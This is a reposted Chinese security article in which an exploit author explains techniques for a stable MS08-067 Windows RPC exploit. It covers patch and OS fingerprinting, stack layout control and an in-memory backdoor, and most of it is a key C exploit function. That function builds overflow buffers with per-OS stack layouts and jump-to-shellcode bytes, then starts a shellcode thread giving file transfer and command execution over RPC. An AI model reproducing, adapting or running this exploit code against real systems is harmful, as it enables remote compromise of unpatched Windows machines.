漏洞利用是一门艺术,调试好的漏洞利用是一种享受。我一直说漏洞挖掘如采玉石,漏洞利用代码编写就如玉雕,好的漏洞利用代码绝对是一件艺术品。
MS08-067漏洞已经十年了,一些利用代码技巧简析。
1、漏洞利用代码使用RPC编写。
本人2000年研究IIS,取得不错的成果,研究过程中进一步接触到RPC,认识到RPC是一个漏洞宝库,就继续进行了RPC的漏洞研究,也打造了一套RPC漏洞利用的框架。这个漏洞利用框架使用RPC编程,漏洞利用充分利用了RPC的特性,shellcode和exp代码使用rpc通信。这个03年dcom漏洞暴露,大多研究者才意识到rpc的重要性,但他们的漏洞利用代码也大多都是通过抓包然后修改抓包数据发送的方式利用,没有充分发挥rpc的作用。其实rpc的漏洞很多时候传输通道很多,这样漏洞利用的通道也很多,这个很多攻防研究者都没有真正的明白,这样一些暴露的漏洞缓解措施都没有做到完全防护。
本人真实的故事,提供一个exp代码给一个朋友做内网渗透测试,结果溢出一台目标机器后发现木马回联不成功,最后排查很久才发现是目标机器没有安装tcp/ip协议。朋友用我的exp程序指定目标机器名成功溢出了,利用代码shellcode又利用漏洞rpc本身不开端口不对外连接,内置文件传输、程序执行等扩展所需命令,整个渗透无缝连接,使得渗透过程都没感觉到目标机器无ip地址。最后朋友感叹这个漏洞利用代码的强大,原来是利用netbios上的smb成功溢出了。
2、利用代码稳定性。
利用代码成功后会内存里安装一个后门,每次溢出的时候会首先检测这个后门的存在,如果有后门就不会再次触发溢出攻击代码。这个就在一些网络不稳定、掉线等情况下,不用再次溢出,增加稳定性。连续覆盖、返回地址和异常链表同时覆盖等,傻瓜化自动识别目标系统等措施,保证溢出代码的稳定性。
3、补丁、版本识别等。
这个代码增加了安全的补丁识别,在漏洞本身条件下(不依靠别的端口别的服务),不触发危险不稳定操作的情况,判断出补丁修补情况,为渗透测试提供必要信息。还有未修补情况,同样是在漏洞本身条件下,识别出目标操作系统,更进一步增强利用代码稳定性。
4、本身漏洞利用的技术问题。
此漏洞具体信息已经分析得比较透彻,不再详说。此漏洞利用成功,需要在堆栈里面有两个0x005c的数据,最开始一些利用代码不稳定就是没有意识到这个问题,会很容易导致目标系统崩溃。后续很多公布的代码是发送几次rpc数据,依靠先前发送的rpc数据内存垃圾完成溢出,其实这个也会存在不稳定的情况。垃圾数据可能会被覆盖,还有可能两次rpc请求不是一个线程处理。其实漏洞利用要看我们能控制什么,只要我们能控制的,就可以尽量来为我们服务。把各种系统下面的堆栈布局列出来,发现有一个变量len是我们可以很容易控制的,可以控制成我们需要的0x005c,另外一个就比较难找了。其实只要我们对系统了解得越多,就能掌控得越多,如果对rpc足够了解,就会知道rpc里的指针很多是解码出来的数据地址指针,而解码数据是分配的内存,大内存分配是页对齐的。这样只要我们rpc数据发送大一点,就可以控制分配到的rpc数据包地址页对齐,进一步安排数据,这样其实rpc里的指针位置也是可以控制的,我们可以控制指针的低2字节为0x005c,这样就可以在堆栈内存布局里面完成我们需要的两个0x005c数据了。发现vista的大内存分配有两个不同的头长度,通过这个漏洞的特殊性使用安全的特殊数据,可以返回不同数据识别出两种情况。
关键代码:
#pragma comment(lib,"ole32.lib")
void sendoverpack()
{
int i,j,k,ver,handle;
char winxpbuff[BUFFSIZE];
char win2kbuff[BUFFSIZE];
char shellcode[BUFFSIZE];
char buff2[0x20];
char buff9[0x40c+4];
char buffa[0x20c+4];
char *server=L"\a\..\..\AAAAaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbAAAAAbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbAAAAa";
char *testpatched=L"\a\..\baaAAAAaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbAAAAAbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbAAAAa";
/* 用于精确识别补丁的安全溢出包 */
char *win2k= L"\baaAAAAaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbAAAAAbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbAa\..\..\c"; char *win2kandvista=L"\baaAAAAaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbAAAAAbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbA\..\..\cc";
char *vista =L"\aaaaAAAAaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbAAAAAbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\..\..";
/*
ms08-067 各系统下堆栈结构布局
the exploit need two 0x5c, one is len,the other is ptr .you can control ptr .
memory:
vista: 0x00000209 len=5c 0x00000209 ch=0x0000005c a b ebp ret 00000000 outcopy ptr
e out bbbbbb
win2003: len=0x0000005c wcslen ptr1 ecx ebp ret 00000000 outcpy ptr e out bbbbbb
winxp: len=0x0000005c wcslen ptr1 ecx ebp ret 00000000 outcpy ptr e out bbbbbb
win2000: ptr 5c r 00000000 outcpy ptr bbbbbbbbbbbbbbbbb out
*/
char *path=L"\a\..\..";
char *pathwin2k=L"\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\..\..\..";
char *pathret=L"\..\..";
char jmptoshell[]="\x58\x58\x58\x2d\x41\x41\x06\x00\xff\xe0\xeb\xfe\xeb\xfe";
char jmptoshellwin2k[]="\x41\x81\xc4\x10\x04\x00\x00\x41\x58\x66\x3d\x50\x00\x75\xf9\x81\x38\x41\x41\x41\x41\x75\xf1\xff\xe0\xeb\xfe\xeb\xfe";
char over[BUFFSIZE];
char over1[BUFFSIZE];
FARPROC test2k;
char *buffstr=winxpbuff;
int iswin2k=0;
int isvista=0;
int address=8;
int rpcexceptioncode;
i=RpcSendRecv("rpcd\x00",5,winxpbuff,BUFFSIZE);
/*判断是否已经成功安装内存后门,二次溢出可以直接使用内存后门*/
if(i!=0)
{
i=0x5c;
memset(buff9,0x90,sizeof(buff9));
memset(buff9+0x208*2,0,0x10);
j=test1f(L"",L"\",buff9,0x100,testpatched,&i,0x1);
/* 安全的溢出,用于精确识别是否已经安装补丁,此串没有安装补丁不会导致任何不良后果,返回信息又能和安装补丁区分开来 */
if(j==0x7b&i==0x5c&buff9[0]==0)
{
printf("\r\npatched!!\r\n");
exit(1);
}
else
{
if(buff9[0]=='\'&buff9[2]=='b')
{
printf("\r\nno patched!!\r\n");
}
else
{
printf("\r\ntest patched error!\r\n");
exit(1);
}
}
server=malloc(0xc0000);
memset(server,0x41,0xc0000);
RpcTryExcept
{
i=RpcSendRecv3(0x35,"rpcd\x00",5,winxpbuff,BUFFSIZE);
}
RpcExcept ( 1 )
{
rpcexceptioncode = RpcExceptionCode();
}
RpcEndExcept
if(rpcexceptioncode==1745)
{
/* 在此漏洞条件下,通过rpc过程调用号精确识别目标系统 */
printf("\r\nis win2k!!\r\n");
iswin2k=1;
ver=1;
memset(over,'a',sizeof(over));
j=2*wcslen(pathwin2k);
memcpy(over,pathwin2k,j);
for(i=0;i<0x14;i+=0x4)< p="">
{
memcpy(over+j+4+i,win2kret,4);
}
memcpy(over+j+4+i,win2kjmpesp,4);
memcpy(over+j+8+i,&jmptoshellwin2k,sizeof(jmptoshellwin2k));
memcpy(over+0x200*2,"\x00\x00\x00\x00",4);
memset(server,0x41,0xc0000);
i=wcslen(over+j+2);
i+=3;
i&=0xfffffffc;
memset(server+0x80000-0x20+2-2*i+address,0,0x10);
i=GetShellcode(server+0x40000);
i=1;
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)shellcmd,0,0,&i);
i=0x4c;
j=test1f(server,over+j+2,buff9,0x100,pathwin2k,&i,0x1);
printf("\r\nreturn=%d\r\n",i);
exit(1);
}
RpcTryExcept
{
i=RpcSendRecv3(0x36,"rpcd\x00",5,winxpbuff,BUFFSIZE);
}
RpcExcept ( 1 )
{
rpcexceptioncode = RpcExceptionCode();
}
RpcEndExcept
if(rpcexceptioncode==1783)
{
/* 在此漏洞条件下,通过rpc过程调用号精确识别目标系统 */
printf("\r\nis vista!!\r\n");
isvista=1;
memset(server+0x80000-0x18-12,0,0x10);
i=0x5c;
j=test1f(server,L"\.\",buff9,0x100,vista,&i,0x1);
if(buff9[0]=='\'&buff9[2]=='.')
{
address=0;
printf("\r\naddress=0\r\n");
}
else
{
address=8;
printf("\r\naddress=8\r\n");
}
/* 识别vista下大内存分配的两种头长度,别的系统只有一种头长度,用于精确控制一个指针的低位是0x005c */
}
else
{
printf("\r\nis winxp\win2003!!\r\n");
}
memset(over,'a',sizeof(over));
j=2*wcslen(path);
memcpy(over,path,j);
for(i=0;i<0x8;i+=0x4)< p="">
{
memcpy(over+j+4+i,WRITEADD,4);
}
memcpy(over+j+4+i,&jmptoshell,sizeof(jmptoshell));
memcpy(over+0x5c*2,"\x00\x00\x00\x00",4);
memset(server,0x41,0xc0000);
i=wcslen(over+j+2);
i+=3;
i&=0xfffffffc;
memset(server+0x80000-0x20+4-2*i+address,0,0x10);
i=0x5c;
j=test1f(server,over+j+2,buff9,0x100,path,&i,0x1);
memset(over,'a',sizeof(over));
for(i=0;i<0x14;i+=0x4)< p="">
{
memcpy(over+2+i,WRITEADD,4);
}
memcpy(over+i,"\x00\x00\x00\x00",4);
memset(over1,'a',sizeof(over1));
memcpy(over1,L"\",2);
if(vista==0) wcscpy(over1+0x5c*2-2*wcslen(over)-2*wcslen(pathret),pathret);
else wcscpy(over1+0x5b*2-2*wcslen(pathret),pathret);
/* vista 系统的len不一样,控制len和ptr产生需要的两个0x005c */
memset(server,0x41,0xc0000);
i=wcslen(over);
i+=3;
i&=0xfffffffc;
memset(server+0x80000-0x10+4+address,0,0x10);
i=GetShellcode(server+0x40000);
i=1;
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)shellcmd,0,0,&i);
i=0x4c;
j=test1f(server,over,buff9,0x100,over1,&i,0x1);
printf("\r\nreturn=%d\r\n",i);
exit(1);
}
else shellcmd();
/* shellcode是一个真正的shell,不开端口不对外连接,使用漏洞本身rpc实现文件传输命令执行等扩展功能 */
}
声明:本文来自yuange1975,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。